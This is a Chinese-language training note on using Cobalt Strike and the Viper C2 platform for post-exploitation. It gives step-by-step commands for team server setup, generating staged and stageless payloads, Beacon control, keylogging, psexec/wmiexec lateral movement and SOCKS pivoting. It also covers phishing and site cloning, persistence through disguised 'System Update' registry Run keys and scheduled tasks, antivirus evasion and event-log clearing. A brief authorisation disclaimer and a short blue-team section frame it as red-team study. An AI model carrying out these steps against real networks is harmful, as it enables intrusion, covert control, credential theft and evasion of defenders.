Cobalt Strike 后渗透:架构、监听器、Beacon 会话、提权与横向移动插件。
核心知识点
1. CS 是什么
- Cobalt Strike:Strategic Cyber LLC 的渗透测试框架,用于红队模拟与恶意软件研究。
- 核心理念:模拟真实 APT 攻击。
- 主要特点:多用户协作、隐蔽 C2 通信、丰富的后渗透功能、自动生成专业报告。
- 声明:仅在获得书面授权后使用。
2. CS 架构详解(三大核心角色)
- Team Client(客户端):队员操作的 GUI,可多客户端同时连接。
- Team Server(服务端):通常部署在公网服务器,收集受害主机信息并转发命令。
- Beacons(体):目标主机上的小程序,潜伏并周期心跳回连(C2),上线后可控。
C2 流程:Client 下指令 → Team Server 转发 → Beacon 心跳取指令 → 执行回传。
3. CS 与环境
系统要求:Team Server 用 Kali/Ubuntu/CentOS(≥2-4GB 内存);客户端需 Java(Win/macOS/Linux)。
# 1. Java
sudo apt update
sudo apt install openjdk-11-jdk
java -version
# 2. 解压 CS
unzip cobaltstrike-linux.zip
cd cobaltstrike
ls -la
# 目录:agscript(扩展脚本)、c2lint(C2检查)、cobaltstrike.jar(Java客户端)、teamserver(团队服务器启动脚本)、update
# 3. 生成 SSL 证书(可选但推荐)
keytool -genkey -keyalg RSA -alias cobaltstrike -keystore cobaltstrike.store -storepass password -keypass password -validity 3650 -keysize 2048 -dname "CN=cobaltstrike, OU=Community, O=Strategic Cyber LLC, L=Somewhere, ST=Somewhere, C=US"
# 4. 启动团队服务器(执行前加执行权限)
chmod +x teamserver
./teamserver <服务器IP> <密码> []
# 例:./teamserver 192.168.1.100 password123
# 5. 启动客户端
./cobaltstrike # 或 java -jar cobaltstrike.jar
连接参数:Host、Port(默认 50050,也用 33000)、User(任意)、Password(启动时设的密码)。
端口:80/443=网页服务,50050=C2 团队服务器端口(启动时可指定)。
实操要点:
- CS4.9 分 client、server 两组件;server 运行 team_server,建议部署在服务器;两机必须网络互通。
- CS 文件放 Ubuntu 的
opt目录;未装 Java 则apt install openjdk-11-jdk。 - 解压后
ls -l查 teamserver 权限并chmod +x;启动时指定 IP。 - 连接三要素:IP、端口、密码;连不上先确认端口(默认 33000/50050)。
4. CS 图形界面详解
- 菜单栏:File(New Connection 等)、View、Attacks、Reporting、Help。
- View:Applications、Credentials、Downloads、Event Log、Keystrokes、Proxy Pivots(代理转发隐藏 IP)、Screenshots、Script Console。
- Attacks:Packages(Payload 生成)、Web Drive-by(Web 攻击)、Phishing(钓鱼)。
- Reporting:Activity Report、Hosts Report、Indicators of Compromise。
5. Payload 生成与部署
- Payload:投递到目标的恶意代码。
- HTML Application:
Attacks → Packages → HTML Application,选 Listener 与 Method(VBA 宏/EXE/DLL)。 - Windows Executable:
Attacks → Packages → Windows Executable,选监听器与格式:Windows Executable (S):stageless,一次传输完整代码,体积大Windows Executable:staged,分阶段传输,体积小
- MS Office 宏:文档内嵌 VBA 宏,启用后执行恶意代码。
Payload 类型对比:
| 类型 | 特点 | 适用场景 |
|---|---|---|
| Staged | 分阶段传输,体积小 | 需要网络传输 |
| Stageless | 完整代码一次传输 | 独立文件,大小不敏感 |
| SMB | 通过 SMB 协议通信 | 网横向移动 |
| DNS | 通过 DNS 查询通信 | 严格防火墙环境 |
木马上线:exe 在目标双击后控制端立即见上线提示(IP、用户名、计算机名)。
6. 监听器(Listener)
- 监听器:接收 Beacon 连接的组件,类似 Metasploit 的 handler;Beacon 通过它通信(HTTP?DNS?TCP?)。
- 创建:
Cobalt Strike → Listeners → Add,填 Name、Payload、Host(Team Server IP)、Port。 - **HTTP Beacon **:
Payload: HTTP Beacon
Name: http-listener
HTTP Host: 192.168.1.100
HTTP Port: 80
- 监听器类型: | 类型 | 协议 | 特点 | |------|------|------| | HTTP Beacon | HTTP | 最常用,易于隐藏 | | HTTPS Beacon | HTTPS | 加密通信 | | DNS Beacon | DNS | 隐蔽性强 | | SMB Beacon | SMB | 网横向 | | TCP Beacon | TCP | 简单直接 |
创建木马:选 Listener 作木马”接收端”,IP 不对就失联。
7. Beacon 命令与控制
基础命令:
help # 查看帮助
sleep 60 # 设置回连时间(心跳)
cd / pwd / ls # 目录操作
mkdir / rm / cat # 文件操作
download # 下载文件
upload # 上传文件
execute # 执行程序
shell whoami # 执行 Shell 命令
powershell Get-Process # 执行 PowerShell 命令
ps # 列出进程
migrate <PID> # 进程迁移(防掉线/防查杀)
spawnto x64 C:\Windows\System32\notepad.exe # 迁移到新进程
keylogger # 键盘记录
交互式 Shell:shell 进入交互模式;shell ipconfig 执行单条命令。
8. 网渗透与横向移动
内网信息收集:
ipconfig /all # 网络
arp -a # ARP 表
route print # 路由表
ipconfig /displaydns # DNS 缓存
portscan <目标IP> <端口范围> <扫描类型> # 端口扫描
凭据获取:keylogger 键盘记录;view credentials 查看已获取凭证。
横向移动技术:
psexec <目标IP> <监听器> # Psexec 横向移动
powershell <目标IP> <命令> # PowerShell 远程执行
wmiexec <目标IP> # WMI 执行
- 概念:拿到权限后在目标网内横向移动(如 192.168.50.100 → .101);进阶内容,不展开。
代理与流量转发:
socks 1080 # 在目标主机创建 SOCKS 代理
rportfwd 8080 192.168.1.1 80 # 端口转发
9. 钓鱼攻击
- 钓鱼:伪装可信实体诱骗用户泄露账号口令;网址不一定是正规登录页。
- 邮件要素:伪造发件人、仿冒官方、诱导点击、恶意附件。
- 创建邮件:
Attacks → Phishing → 模板 → 发送。 - 克隆站:
Attacks → Web Drive-by → Clone Site(指定目标 URL)。 - 托管文件:
Attacks → Web Drive-by → Host File(生成钓鱼链接)。
社会工程学(钓鱼的理论基础):不破解密码,直接骗你说出密码;手法为冒充身份(客服/领导/警察)、制造紧迫感、好奇心、内部人员;防范靠核实身份。
10. 权限维持
- Persistence:建立长期存在机制,重启后仍保持访问权限。
- 注册表启动项(防御侧可用 Geek 卸载软件清理残留):
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "System Update" /t REG_SZ /d "C:\malware.exe"
- 计划任务:
schtasks /create /tn "System Update" /tr "C:\malware.exe" /sc daily
- CS 脚本:Beacon 中执行
persistence。
11. 杀(初步概念)
- 木马需免杀才能绕过防护软件(进阶内容)。
- 原理:杀软靠”特征码”识别,免杀即绕过;基础思路为源码混淆、分离加载。
12. Viper(青龙)/Vshell 图形化平台
- C2 架构:Linux 搭服务器端,木马打入目标 Windows。
- Viper(青龙):中文图形化 C2 平台,命令行操作变鼠标点击。
- Vshell:目标端交互式命令行,远程下达指令。
离线部署:
# 1. Docker(离线版)
tar -xvf docker-*.tgz
sudo cp docker/* /usr/bin/
sudo dockerd &
# 2. Viper 镜像并启动
docker load -i viper.tar
docker run -d --name viper --net=host --restart always \
-v /var/run/docker.sock:/var/run/docker.sock viperplatform/viper:latest
# 3. 登录 https://127.0.0.1:60000(默认账号 admin / 密码 viper666)
核心实战:
- 监听器:【网络监听】→【新增监听器】,类型
reverse_https(伪装网页加密),IP 为 Linux 局域网 IP,端口 443。 - 生成免杀 Payload:【载荷生成】→
windows/x64/meterpreter/reverse_https,勾选【源码混淆】/【分离加载】。 - Vshell 接管:上线后右键主机 →【控制台 (Vshell)】:
whoami确认身份- 文件浏览器下载目标桌面文件
- 插件搜”截图”实时屏幕监控
- 插件搜”进程迁移”迁移到 explorer.exe 防掉线
clearev清除事件日志
蓝队防守视角:
- 查流量:断网则 Viper 立即失联;流量分析设备可拦未知 HTTPS 443 长连接。
- 查进程:找无数字签名、名字随机、冒充系统进程但路径不对的可疑程序。
- 行为拦截:即使静态免杀,EDR 也会拦”进程迁移""改自启动项”等行为。
实操步骤
# 服务端
sudo apt install openjdk-11-jdk
unzip cobaltstrike.zip && cd cobaltstrike
chmod +x teamserver
./teamserver 192.168.1.100 password123
# 客户端
./cobaltstrike
# 连接:Host=192.168.1.100 Port=50050/33000 User=任意 Password=password123
# Beacon 常用
help
sleep 60
shell whoami
download secret.txt
upload malware.exe
ps
migrate 1234
keylogger
socks 1080
psexec 192.168.1.101 http-listener
persistence
常见错误与排查
- 连不上服务端 → 确认三要素(IP/端口/密码)、两机互通、服务端界面不能退出(退出即停服)。
- 木马不上线 → 监听器 IP/端口与 Beacon 不一致;目标杀软拦截。
- 生成 exe 后被杀 → 需免杀处理(源码混淆/分离加载)。
- .htaccess/.user.ini 不生效 → 见文件上传篇的环境差异。